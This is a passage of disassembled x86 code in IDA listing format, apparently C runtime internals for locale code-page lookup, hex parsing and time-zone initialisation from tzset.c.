eax jnz short loc_42B4CC push 0 mov ecx, [ebp+var_7C] push ecx call sub_42B700 add esp, 8 test eax, eax jz short loc_42B4CC mov edx, [ebp+var_7C] mov dword_492324, edx mov eax, dword_492324 mov dword_492308, eax mov ecx, dword_492320 or ecx, 4 mov dword_492320, ecx loc_42B4CC: ; CODE XREF: sub_42B3C0:loc_42B467j ; sub_42B3C0+B0j ... mov eax, dword_492320 and eax, 4 neg eax sbb eax, eax inc eax loc_42B4D9: ; CODE XREF: sub_42B3C0+4Fj mov esp, ebp pop ebp retn 4 sub_42B3C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B4E0 proc near ; CODE XREF: sub_42ACC0+102p push ebp mov ebp, esp mov eax, dword_49231C push eax call sub_418E70 add esp, 4 xor ecx, ecx cmp eax, 3 setz cl mov dword_49230C, ecx push 1 push offset sub_42B530 call ds:dword_4942AC mov edx, dword_492320 and edx, 4 test edx, edx jnz short loc_42B523 mov dword_492320, 0 loc_42B523: ; CODE XREF: sub_42B4E0+37j pop ebp retn sub_42B4E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B530 proc near ; DATA XREF: sub_42B4E0+21o var_7C = dword ptr -7Ch var_78 = byte ptr -78h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 7Ch mov eax, [ebp+arg_0] push eax call sub_42B970 add esp, 4 mov [ebp+var_7C], eax push 78h lea ecx, [ebp+var_78] push ecx mov edx, dword_49230C neg edx sbb edx, edx and edx, 0FFFFF005h add edx, 1002h push edx mov eax, [ebp+var_7C] push eax call dword_492328 test eax, eax jnz short loc_42B581 mov dword_492320, 0 mov eax, 1 jmp short loc_42B5D6 ; --------------------------------------------------------------------------- loc_42B581: ; CODE XREF: sub_42B530+3Ej lea ecx, [ebp+var_78] push ecx mov edx, dword_49231C push edx call sub_42F560 add esp, 8 test eax, eax jnz short loc_42B5C9 mov eax, [ebp+var_7C] push eax call sub_42B6B0 add esp, 4 test eax, eax jz short loc_42B5C9 mov ecx, [ebp+var_7C] mov dword_492324, ecx mov edx, dword_492324 mov dword_492308, edx mov eax, dword_492320 or al, 4 mov dword_492320, eax loc_42B5C9: ; CODE XREF: sub_42B530+66j ; sub_42B530+76j mov eax, dword_492320 and eax, 4 neg eax sbb eax, eax inc eax loc_42B5D6: ; CODE XREF: sub_42B530+4Fj mov esp, ebp pop ebp retn 4 sub_42B530 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B5E0 proc near ; CODE XREF: sub_42ACC0+38p ; sub_42ACC0:loc_42ADC9p push ebp mov ebp, esp mov eax, dword_492320 or eax, 104h mov dword_492320, eax call ds:dword_4942A8 mov dword_492324, eax mov ecx, dword_492324 mov dword_492308, ecx pop ebp retn sub_42B5E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B610 proc near ; CODE XREF: sub_42ACC0+128p var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 cmp [ebp+arg_0], 0 jz short loc_42B63B mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_42B63B push offset aAcp ; "ACP" mov edx, [ebp+arg_0] push edx call sub_419360 add esp, 8 test eax, eax jnz short loc_42B663 loc_42B63B: ; CODE XREF: sub_42B610+Aj ; sub_42B610+14j push 8 lea eax, [ebp+var_8] push eax push 1004h mov ecx, dword_492324 push ecx call dword_492328 test eax, eax jnz short loc_42B65B xor eax, eax jmp short loc_42B6A7 ; --------------------------------------------------------------------------- loc_42B65B: ; CODE XREF: sub_42B610+45j lea edx, [ebp+var_8] mov [ebp+arg_0], edx jmp short loc_42B69B ; --------------------------------------------------------------------------- loc_42B663: ; CODE XREF: sub_42B610+29j push offset aOcp ; "OCP" mov eax, [ebp+arg_0] push eax call sub_419360 add esp, 8 test eax, eax jnz short loc_42B69B push 8 lea ecx, [ebp+var_8] push ecx push 0Bh mov edx, dword_492324 push edx call dword_492328 test eax, eax jnz short loc_42B695 xor eax, eax jmp short loc_42B6A7 ; --------------------------------------------------------------------------- loc_42B695: ; CODE XREF: sub_42B610+7Fj lea eax, [ebp+var_8] mov [ebp+arg_0], eax loc_42B69B: ; CODE XREF: sub_42B610+51j ; sub_42B610+66j mov ecx, [ebp+arg_0] push ecx call sub_4194F0 add esp, 4 loc_42B6A7: ; CODE XREF: sub_42B610+49j ; sub_42B610+83j mov esp, ebp pop ebp retn sub_42B610 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B6B0 proc near ; CODE XREF: sub_42B010+16Ep ; sub_42B530+6Cp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = word ptr 8 push ebp mov ebp, esp sub esp, 8 mov ax, [ebp+arg_0] mov word ptr [ebp+var_4], ax mov [ebp+var_8], 0 jmp short loc_42B6D0 ; --------------------------------------------------------------------------- loc_42B6C7: ; CODE XREF: sub_42B6B0:loc_42B6F4j mov ecx, [ebp+var_8] add ecx, 1 mov [ebp+var_8], ecx loc_42B6D0: ; CODE XREF: sub_42B6B0+15j cmp [ebp+var_8], 0Ah jnb short loc_42B6F6 mov edx, [ebp+var_4] and edx, 0FFFFh mov eax, [ebp+var_8] xor ecx, ecx mov cx, word_443BF4[eax*2] cmp edx, ecx jnz short loc_42B6F4 xor eax, eax jmp short loc_42B6FB ; --------------------------------------------------------------------------- loc_42B6F4: ; CODE XREF: sub_42B6B0+3Ej jmp short loc_42B6C7 ; --------------------------------------------------------------------------- loc_42B6F6: ; CODE XREF: sub_42B6B0+24j mov eax, 1 loc_42B6FB: ; CODE XREF: sub_42B6B0+42j mov esp, ebp pop ebp retn sub_42B6B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B700 proc near ; CODE XREF: sub_42B010+260p ; sub_42B010+2E6p ... var_7C = byte ptr -7Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7Ch push esi mov eax, [ebp+arg_0] and eax, 0FFFFh and eax, 3FFh and eax, 0FFFFh or ah, 4 and eax, 0FFFFh mov [ebp+var_4], eax push 78h lea ecx, [ebp+var_7C] push ecx push 1 mov edx, [ebp+var_4] push edx call dword_492328 test eax, eax jnz short loc_42B73E xor eax, eax jmp short loc_42B782 ; --------------------------------------------------------------------------- loc_42B73E: ; CODE XREF: sub_42B700+38j lea eax, [ebp+var_7C] push eax call sub_42B970 add esp, 4 cmp [ebp+arg_0], eax jz short loc_42B77D cmp [ebp+arg_4], 0 jz short loc_42B77D mov ecx, dword_492318 push ecx call sub_42B9F0 add esp, 4 mov esi, eax mov edx, dword_492318 push edx call sub_418E70 add esp, 4 cmp esi, eax jnz short loc_42B77D xor eax, eax jmp short loc_42B782 ; --------------------------------------------------------------------------- loc_42B77D: ; CODE XREF: sub_42B700+4Dj ; sub_42B700+53j ... mov eax, 1 loc_42B782: ; CODE XREF: sub_42B700+3Cj ; sub_42B700+7Bj pop esi mov esp, ebp pop ebp retn sub_42B700 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B790 proc near ; CODE XREF: sub_42ACC0+Fp var_98 = dword ptr -98h var_94 = dword ptr -94h var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 98h mov [ebp+var_94], 94h lea eax, [ebp+var_94] push eax call ds:dword_4943F4 test eax, eax jz short loc_42B7C9 cmp [ebp+var_84], 2 jnz short loc_42B7C9 mov [ebp+var_98], 1 jmp short loc_42B7D3 ; --------------------------------------------------------------------------- loc_42B7C9: ; CODE XREF: sub_42B790+22j ; sub_42B790+2Bj mov [ebp+var_98], 0 loc_42B7D3: ; CODE XREF: sub_42B790+37j mov eax, [ebp+var_98] mov esp, ebp pop ebp retn sub_42B790 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B7E0 proc near ; DATA XREF: sub_42ACC0:loc_42ACE2o var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 14h mov [ebp+var_10], 0 mov [ebp+var_4], 1Ah mov [ebp+var_8], 0 loc_42B7FB: ; CODE XREF: sub_42B7E0:loc_42B943j mov eax, [ebp+var_10] cmp eax, [ebp+var_4] jg loc_42B948 mov eax, [ebp+var_10] add eax, [ebp+var_4] cdq sub eax, edx sar eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+var_C] imul ecx, 2Ch mov edx, [ebp+arg_0] cmp edx, dword_443750[ecx] jnz loc_42B91E mov eax, [ebp+arg_4] mov [ebp+var_14], eax cmp [ebp+var_14], 0Bh ja short loc_42B857 cmp [ebp+var_14], 0Bh jz loc_42B8C9 cmp [ebp+var_14], 1 jz short loc_42B874 cmp [ebp+var_14], 3 jz short loc_42B896 cmp [ebp+var_14], 7 jz short loc_42B8B8 jmp loc_42B8E8 ; --------------------------------------------------------------------------- loc_42B857: ; CODE XREF: sub_42B7E0+54j cmp [ebp+var_14], 1001h jz short loc_42B885 cmp [ebp+var_14], 1002h jz short loc_42B8A7 cmp [ebp+var_14], 1004h jz short loc_42B8DA jmp short loc_42B8E8 ; --------------------------------------------------------------------------- loc_42B874: ; CODE XREF: sub_42B7E0+64j mov ecx, [ebp+var_C] imul ecx, 2Ch add ecx, offset a040a ; "040a" mov [ebp+var_8], ecx jmp short loc_42B8E8 ; --------------------------------------------------------------------------- loc_42B885: ; CODE XREF: sub_42B7E0+7Ej mov edx, [ebp+var_C] imul edx, 2Ch mov eax, off_44375C[edx] mov [ebp+var_8], eax jmp short loc_42B8E8 ; --------------------------------------------------------------------------- loc_42B896: ; CODE XREF: sub_42B7E0+6Aj mov ecx, [ebp+var_C] imul ecx, 2Ch add ecx, offset dword_443760 mov [ebp+var_8], ecx jmp short loc_42B8E8 ; --------------------------------------------------------------------------- loc_42B8A7: ; CODE XREF: sub_42B7E0+87j mov edx, [ebp+var_C] imul edx, 2Ch mov eax, off_443764[edx] mov [ebp+var_8], eax jmp short loc_42B8E8 ; --------------------------------------------------------------------------- loc_42B8B8: ; CODE XREF: sub_42B7E0+70j mov ecx, [ebp+var_C] imul ecx, 2Ch add ecx, offset dword_443768 mov [ebp+var_8], ecx jmp short loc_42B8E8 ; --------------------------------------------------------------------------- loc_42B8C9: ; CODE XREF: sub_42B7E0+5Aj mov edx, [ebp+var_C] imul edx, 2Ch add edx, offset dword_44376C mov [ebp+var_8], edx jmp short loc_42B8E8 ; --------------------------------------------------------------------------- loc_42B8DA: ; CODE XREF: sub_42B7E0+90j mov eax, [ebp+var_C] imul eax, 2Ch add eax, offset a1252 ; "1252" mov [ebp+var_8], eax loc_42B8E8: ; CODE XREF: sub_42B7E0+72j ; sub_42B7E0+92j ... cmp [ebp+var_8], 0 jz short loc_42B8F4 cmp [ebp+arg_C], 1 jge short loc_42B8F6 loc_42B8F4: ; CODE XREF: sub_42B7E0+10Cj jmp short loc_42B948 ; --------------------------------------------------------------------------- loc_42B8F6: ; CODE XREF: sub_42B7E0+112j mov ecx, [ebp+arg_C] sub ecx, 1 push ecx mov edx, [ebp+var_8] push edx mov eax, [ebp+arg_8] push eax call sub_4191A0 add esp, 0Ch mov ecx, [ebp+arg_8] add ecx, [ebp+arg_C] mov byte ptr [ecx-1], 0 mov eax, 1 jmp short loc_42B95E ; --------------------------------------------------------------------------- loc_42B91E: ; CODE XREF: sub_42B7E0+44j mov edx, [ebp+var_C] imul edx, 2Ch mov eax, [ebp+arg_0] cmp eax, dword_443750[edx] jnb short loc_42B93A mov ecx, [ebp+var_C] sub ecx, 1 mov [ebp+var_4], ecx jmp short loc_42B943 ; --------------------------------------------------------------------------- loc_42B93A: ; CODE XREF: sub_42B7E0+14Dj mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_10], edx loc_42B943: ; CODE XREF: sub_42B7E0+158j jmp loc_42B7FB ; --------------------------------------------------------------------------- loc_42B948: ; CODE XREF: sub_42B7E0+21j ; sub_42B7E0:loc_42B8F4j mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call ds:dword_4943F0 loc_42B95E: ; CODE XREF: sub_42B7E0+13Cj mov esp, ebp pop ebp retn 10h sub_42B7E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B970 proc near ; CODE XREF: sub_42B010+Ap ; sub_42B3C0+Ap ... var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_4], 0 loc_42B97D: ; CODE XREF: sub_42B970+6Dj mov eax, [ebp+arg_0] mov cl, [eax] mov [ebp+var_8], cl movsx edx, [ebp+var_8] mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax test edx, edx jz short loc_42B9DF movsx ecx, [ebp+var_8] cmp ecx, 61h jl short loc_42B9B2 movsx edx, [ebp+var_8] cmp edx, 66h jg short loc_42B9B2 mov al, [ebp+var_8] add al, 0D9h mov [ebp+var_8], al jmp short loc_42B9CC ; --------------------------------------------------------------------------- loc_42B9B2: ; CODE XREF: sub_42B970+2Dj ; sub_42B970+36j movsx ecx, [ebp+var_8] cmp ecx, 41h jl short loc_42B9CC movsx edx, [ebp+var_8] cmp edx, 46h jg short loc_42B9CC mov al, [ebp+var_8] add al, 0F9h mov [ebp+var_8], al loc_42B9CC: ; CODE XREF: sub_42B970+40j ; sub_42B970+49j ... mov ecx, [ebp+var_4] shl ecx, 4 movsx edx, [ebp+var_8] lea eax, [ecx+edx-30h] mov [ebp+var_4], eax jmp short loc_42B97D ; --------------------------------------------------------------------------- loc_42B9DF: ; CODE XREF: sub_42B970+24j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_42B970 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B9F0 proc near ; CODE XREF: sub_42AF50+60p ; sub_42B340+39p ... var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], 0 mov eax, [ebp+arg_0] mov cl, [eax] mov [ebp+var_4], cl mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx loc_42BA0E: ; CODE XREF: sub_42B9F0+5Cj movsx eax, [ebp+var_4] cmp eax, 41h jl short loc_42BA20 movsx ecx, [ebp+var_4] cmp ecx, 5Ah jle short loc_42BA32 loc_42BA20: ; CODE XREF: sub_42B9F0+25j movsx edx, [ebp+var_4] cmp edx, 61h jl short loc_42BA4E movsx eax, [ebp+var_4] cmp eax, 7Ah jg short loc_42BA4E loc_42BA32: ; CODE XREF: sub_42B9F0+2Ej mov ecx, [ebp+var_8] add ecx, 1 mov [ebp+var_8], ecx mov edx, [ebp+arg_0] mov al, [edx] mov [ebp+var_4], al mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx jmp short loc_42BA0E ; --------------------------------------------------------------------------- loc_42BA4E: ; CODE XREF: sub_42B9F0+37j ; sub_42B9F0+40j mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_42B9F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42BA60 proc near ; CODE XREF: sub_423ED0+8Ap ; sub_42E360:loc_42E87Bp push ebp mov ebp, esp cmp dword_4923E8, 0 jnz short loc_42BA9B push 0Bh call sub_41BC90 add esp, 4 cmp dword_4923E8, 0 jnz short loc_42BA91 call sub_42BAC0 mov eax, dword_4923E8 add eax, 1 mov dword_4923E8, eax loc_42BA91: ; CODE XREF: sub_42BA60+1Dj push 0Bh call sub_41BD30 add esp, 4 loc_42BA9B: ; CODE XREF: sub_42BA60+Aj pop ebp retn sub_42BA60 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0Bh call sub_41BC90 add esp, 4 call sub_42BAC0 push 0Bh call sub_41BD30 add esp, 4 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42BAC0 proc near ; CODE XREF: sub_42BA60+1Fp ; .text:0042BAADp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_4], 0 push 0Ch call sub_41BC90 add esp, 4 mov dword_492330, 0 mov dword_443F70, 0FFFFFFFFh mov eax, dword_443F70 mov dword_443F60, eax push offset aTz ; "TZ" call sub_42F770 add esp, 4 mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz loc_42BC43 push 0Ch call sub_41BD30 add esp, 4 push offset dword_492338 call ds:dword_49441C cmp eax, 0FFFFFFFFh jz loc_42BC3E mov dword_492330, 1 mov ecx, dword_492338 imul ecx, 3Ch mov dword_443EC8, ecx xor edx, edx mov dx, word_49237E test edx, edx jz short loc_42BB69 mov eax, dword_49238C imul eax, 3Ch mov ecx, dword_443EC8 add ecx, eax mov dword_443EC8, ecx loc_42BB69: ; CODE XREF: sub_42BAC0+91j xor edx, edx mov dx, word_4923D2 test edx, edx jz short loc_42BB9E cmp dword_4923E0, 0 jz short loc_42BB9E mov dword_443ECC, 1 mov eax, dword_4923E0 sub eax, dword_49238C imul eax, 3Ch mov dword_443ED0, eax jmp short loc_42BBB2 ; --------------------------------------------------------------------------- loc_42BB9E: ; CODE XREF: sub_42BAC0+B4j ; sub_42BAC0+BDj mov dword_443ECC, 0 mov dword_443ED0, 0 loc_42BBB2: ; CODE XREF: sub_42BAC0+DCj lea ecx, [ebp+var_8] push ecx push 0 push 3Fh mov edx, off_443F54 push edx push 0FFFFFFFFh push offset dword_49233C push 220h mov eax, dword_492180 push eax call ds:dword_4943B0 test eax, eax jz short loc_42BBEF cmp [ebp+var_8], 0 jnz short loc_42BBEF mov ecx, off_443F54 mov byte ptr [ecx+3Fh], 0 jmp short loc_42BBF8 ; --------------------------------------------------------------------------- loc_42BBEF: ; CODE XREF: sub_42BAC0+11Bj ; sub_42BAC0+121j mov edx, off_443F54 mov byte ptr [edx], 0 loc_42BBF8: ; CODE XREF: sub_42BAC0+12Dj lea eax, [ebp+var_8] push eax push 0 push 3Fh mov ecx, off_443F58 push ecx push 0FFFFFFFFh push offset dword_492390 push 220h mov edx, dword_492180 push edx call ds:dword_4943B0 test eax, eax jz short loc_42BC35 cmp [ebp+var_8], 0 jnz short loc_42BC35 mov eax, off_443F58 mov byte ptr [eax+3Fh], 0 jmp short loc_42BC3E ; --------------------------------------------------------------------------- loc_42BC35: ; CODE XREF: sub_42BAC0+162j ; sub_42BAC0+168j mov ecx, off_443F58 mov byte ptr [ecx], 0 loc_42BC3E: ; CODE XREF: sub_42BAC0+67j ; sub_42BAC0+173j jmp loc_42BE67 ; --------------------------------------------------------------------------- loc_42BC43: ; CODE XREF: sub_42BAC0+49j mov edx, [ebp+var_C] movsx eax, byte ptr [edx] test eax, eax jz short loc_42BC6D cmp dword_4923E4, 0 jz short loc_42BC7C mov ecx, dword_4923E4 push ecx mov edx, [ebp+var_C] push edx call sub_419360 add esp, 8 test eax, eax jnz short loc_42BC7C loc_42BC6D: ; CODE XREF: sub_42BAC0+18Bj push 0Ch call sub_41BD30 add esp, 4 jmp loc_42BE67 ; --------------------------------------------------------------------------- loc_42BC7C: ; CODE XREF: sub_42BAC0+194j ; sub_42BAC0+1ABj push 2 mov eax, dword_4923E4 push eax call sub_4174C0 add esp, 8 push 10Ch push offset aTzset_c ; "tzset.c" push 2 mov ecx, [ebp+var_C] push ecx call sub_418E70 add esp, 4 add eax, 1 push eax call sub_416A30 add esp, 10h mov dword_4923E4, eax cmp dword_4923E4, 0 jnz short loc_42BCCD push 0Ch call sub_41BD30 add esp, 4 jmp loc_42BE67 ; --------------------------------------------------------------------------- loc_42BCCD: ; CODE XREF: sub_42BAC0+1FCj mov edx, [ebp+var_C] push edx mov eax, dword_4923E4 push eax call sub_419FA0 add esp, 8 push 0Ch call sub_41BD30 add esp, 4 push 3 mov ecx, [ebp+var_C] push ecx mov edx, off_443F54 push edx call sub_4191A0 add esp, 0Ch mov eax, off_443F54 mov byte ptr [eax+3], 0 mov ecx, [ebp+var_C] add ecx, 3 mov [ebp+var_C], ecx mov edx, [ebp+var_C] movsx eax, byte ptr [edx] cmp eax, 2Dh jnz short loc_42BD2D mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_C], edx loc_42BD2D: ; CODE XREF: sub_42BAC0+259j mov eax, [ebp+var_C] push eax call sub_4194F0 add esp, 4 imul eax, 0E10h mov dword_443EC8, eax loc_42BD44: ; CODE XREF: sub_42BAC0+2AEj mov ecx, [ebp+var_C] movsx edx, byte ptr [ecx] cmp edx, 2Bh jz short loc_42BD65 mov eax, [ebp+var_C] movsx ecx, byte ptr [eax] cmp ecx, 30h jl short loc_42BD70 mov edx, [ebp+var_C] movsx eax, byte ptr [edx] cmp eax, 39h jg short loc_42BD70 loc_42BD65: ; CODE XREF: sub_42BAC0+28Dj mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx jmp short loc_42BD44 ; --------------------------------------------------------------------------- loc_42BD70: ; CODE XREF: sub_42BAC0+298j ; sub_42BAC0+2A3j mov edx, [ebp+var_C] movsx eax, byte ptr [edx] cmp eax, 3Ah jnz loc_42BE15 mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx mov edx, [ebp+var_C] push edx call sub_4194F0 add esp, 4 imul eax, 3Ch mov ecx, dword_443EC8 add ecx, eax mov dword_443EC8, ecx loc_42BDA5: ; CODE XREF: sub_42BAC0+304j mov edx, [ebp+var_C] movsx eax, byte ptr [edx] cmp eax, 30h jl short loc_42BDC6 mov ecx, [ebp+var_C] movsx edx, byte ptr [ecx] cmp edx, 39h jg short loc_42BDC6 mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp short loc_42BDA5 ; --------------------------------------------------------------------------- loc_42BDC6: ; CODE XREF: sub_42BAC0+2EEj ; sub_42BAC0+2F9j mov ecx, [ebp+var_C] movsx edx, byte ptr [ecx] cmp edx, 3Ah jnz short loc_42BE15 mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+var_C] push ecx call sub_4194F0 add esp, 4 mov edx, dword_443EC8 add edx, eax mov dword_443EC8, edx loc_42BDF4: ; CODE XREF: sub_42BAC0+353j mov eax, [ebp+var_C] movsx ecx, byte ptr [eax] cmp ecx, 30h jl short loc_42BE15 mov edx, [ebp+var_C] movsx eax, byte ptr [edx] cmp eax, 39h jg short loc_42BE15 mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx jmp short loc_42BDF4 ; --------------------------------------------------------------------------- loc_42BE15: ; CODE XREF: sub_42BAC0+2B9j ; sub_42BAC0+30Fj ... cmp [ebp+var_4], 0 jz short loc_42BE29 mov edx, dword_443EC8 neg edx mov dword_443EC8, edx loc_42BE29: ; CODE XREF: sub_42BAC0+359j mov eax, [ebp+var_C] movsx ecx, byte ptr [eax] mov dword_443ECC, ecx cmp dword_443ECC, 0 jz short loc_42BE5E push 3 mov edx, [ebp+var_C] push edx mov eax, off_443F58 push eax call sub_4191A0 add esp, 0Ch mov ecx, off_443F58 mov byte ptr [ecx+3], 0 jmp short loc_42BE67 ; --------------------------------------------------------------------------- loc_42BE5E: ; CODE XREF: sub_42BAC0+37Cj mov edx, off_443F58 mov byte ptr [edx], 0 loc_42BE67: ; CODE XREF: sub_42BAC0:loc_42BC3Ej ; sub_42BAC0+1B7j ... mov esp, ebp pop ebp retn sub_42BAC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42BE70 proc near ; CODE XREF: sub_423ED0+CFp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 0Bh call sub_41BC90 add esp, 4 mov eax, [ebp+arg_0] push eax call sub_42BEA0 add esp, 4 mov [ebp+var_4], eax push 0Bh call sub_41BD30 add esp, 4 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_42BE70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42BEA0 proc near ; CODE XREF: sub_42BE70+12p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_443ECC, 0 jnz short loc_42BEB4 xor eax, eax jmp loc_42C196 ; --------------------------------------------------------------------------- loc_42BEB4: ; CODE XREF: sub_42BEA0+Bj mov eax, [ebp+arg_0] mov ecx, [eax+14h] cmp ecx, dword_443F60 jnz short loc_42BED4 mov edx, [ebp+arg_0] mov eax, [edx+14h] cmp eax, dword_443F70 jz loc_42C09B loc_42BED4: ; CODE XREF: sub_42BEA0+20j cmp dword_492330, 0 jz loc_42C055 xor ecx, ecx mov cx, word_4923D0 test ecx, ecx jnz short loc_42BF49 xor edx, edx mov dx, word_4923DE push edx xor eax, eax mov ax, word_4923DC push eax xor ecx, ecx mov cx, word_4923DA push ecx xor edx, edx mov dx, word_4923D8 push edx push 0 xor eax, eax mov ax, word_4923D4 push eax xor ecx, ecx mov cx, word_4923D6 push ecx xor edx, edx mov dx, word_4923D2 push edx mov eax, [ebp+arg_0] mov ecx, [eax+14h] push ecx push 1 push 1 call sub_42C1A0 add esp, 2Ch jmp short loc_42BF9A ; --------------------------------------------------------------------------- loc_42BF49: ; CODE XREF: sub_42BEA0+4Cj xor edx, edx mov dx, word_4923DE push edx xor eax, eax mov ax, word_4923DC push eax xor ecx, ecx mov cx, word_4923DA push ecx xor edx, edx mov dx, word_4923D8 push edx xor eax, eax mov ax, word_4923D6 push eax push 0 push 0 xor ecx, ecx mov cx, word_4923D2 push ecx mov edx, [ebp+arg_0] mov eax, [edx+14h] push eax push 0 push 1 call sub_42C1A0 add esp, 2Ch loc_42BF9A: ; CODE XREF: sub_42BEA0+A7j xor ecx, ecx mov cx, word_49237C test ecx, ecx jnz short loc_42C002 xor edx, edx mov dx, word_49238A push edx xor eax, eax mov ax, word_492388 push eax xor ecx, ecx mov cx, word_492386 push ecx xor edx, edx mov dx, word_492384 push edx push 0 xor eax, eax mov ax, word_492380 push eax xor ecx, ecx mov cx, word_492382 push ecx xor edx, edx mov dx, word_49237E push edx mov eax, [ebp+arg_0] mov ecx, [eax+14h] push ecx push 1 push 0 call sub_42C1A0 add esp, 2Ch jmp short loc_42C053 ; --------------------------------------------------------------------------- loc_42C002: ; CODE XREF: sub_42BEA0+105j xor edx, edx mov dx, word_49238A push edx xor eax, eax mov ax, word_492388 push eax xor ecx, ecx mov cx, word_492386 push ecx xor edx, edx mov dx, word_492384 push edx xor eax, eax mov ax, word_492382 push eax push 0 push 0 xor ecx, ecx mov cx, word_49237E push ecx mov edx, [ebp+arg_0] mov eax, [edx+14h] push eax push 0 push 0 call sub_42C1A0 add esp, 2Ch loc_42C053: ; CODE XREF: sub_42BEA0+160j jmp short loc_42C09B ; --------------------------------------------------------------------------- loc_42C055: ; CODE XREF: sub_42BEA0+3Bj push 0 push 0 push 0 push 2 push 0 push 0 push 1 push 4 mov ecx, [ebp+arg_0] mov edx, [ecx+14h] push edx push 1 push 1 call sub_42C1A0 add esp, 2Ch push 0 push 0 push 0 push 2 push 0 push 0 push 5 push 0Ah mov eax, [ebp+arg_0] mov ecx, [eax+14h] push ecx push 1 push 0 call sub_42C1A0 add esp, 2Ch loc_42C09B: ; CODE XREF: sub_42BEA0+2Ej ; sub_42BEA0:loc_42C053j mov edx, dword_443F64 cmp edx, dword_443F74 jge short loc_42C0F4 mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] cmp ecx, dword_443F64 jl short loc_42C0C5 mov edx, [ebp+arg_0] mov eax, [edx+1Ch] cmp eax, dword_443F74 jle short loc_42C0CC loc_42C0C5: ; CODE XREF: sub_42BEA0+215j xor eax, eax jmp loc_42C196 ; --------------------------------------------------------------------------- loc_42C0CC: ; CODE XREF: sub_42BEA0+223j mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] cmp edx, dword_443F64 jle short loc_42C0F2 mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] cmp ecx, dword_443F74 jge short loc_42C0F2 mov eax, 1 jmp loc_42C196 ; --------------------------------------------------------------------------- loc_42C0F2: ; CODE XREF: sub_42BEA0+238j ; sub_42BEA0+246j jmp short loc_42C137 ; --------------------------------------------------------------------------- loc_42C0F4: ; CODE XREF: sub_42BEA0+207j mov edx, [ebp+arg_0] mov eax, [edx+1Ch] cmp eax, dword_443F74 jl short loc_42C110 mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] cmp edx, dword_443F64 jle short loc_42C117 loc_42C110: ; CODE XREF: sub_42BEA0+260j mov eax, 1 jmp short loc_42C196 ; --------------------------------------------------------------------------- loc_42C117: ; CODE XREF: sub_42BEA0+26Ej mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] cmp ecx, dword_443F74 jle short loc_42C137 mov edx, [ebp+arg_0] mov eax, [edx+1Ch] cmp eax, dword_443F64 jge short loc_42C137 